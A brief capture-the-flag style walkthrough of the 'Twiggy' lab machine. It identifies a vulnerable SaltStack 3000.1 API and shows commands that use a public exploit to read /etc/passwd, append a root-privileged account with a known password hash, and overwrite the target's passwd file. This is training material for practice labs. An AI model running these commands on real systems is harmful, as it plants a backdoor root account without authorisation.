> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/warm-up/twiggy.md).

# Twiggy

### Enumeration

```
8000/tcp open  http    nginx 1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.16.1
|_http-title: Site doesn't have a title (application/json).
```

```
In headers:
salt-api/3000-1
```

Saltstack 3000.1 - Remote Code Execution 

<https://www.exploit-db.com/exploits/48421>

### Access

```
$ pip3 install salt

$ python3 48421 -m 192.168.171.62

$ python3 48421 -m 192.168.171.62 -r /etc/passwd
```

Copy contents of /etc/passwd output to passwd

```
$ echo "cel1s0:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> passwd
```

cel1s0:pass123

```
$ python3 48421 -m 192.168.171.62 --upload-src passwd --upload-dest ../../etc/passwd
```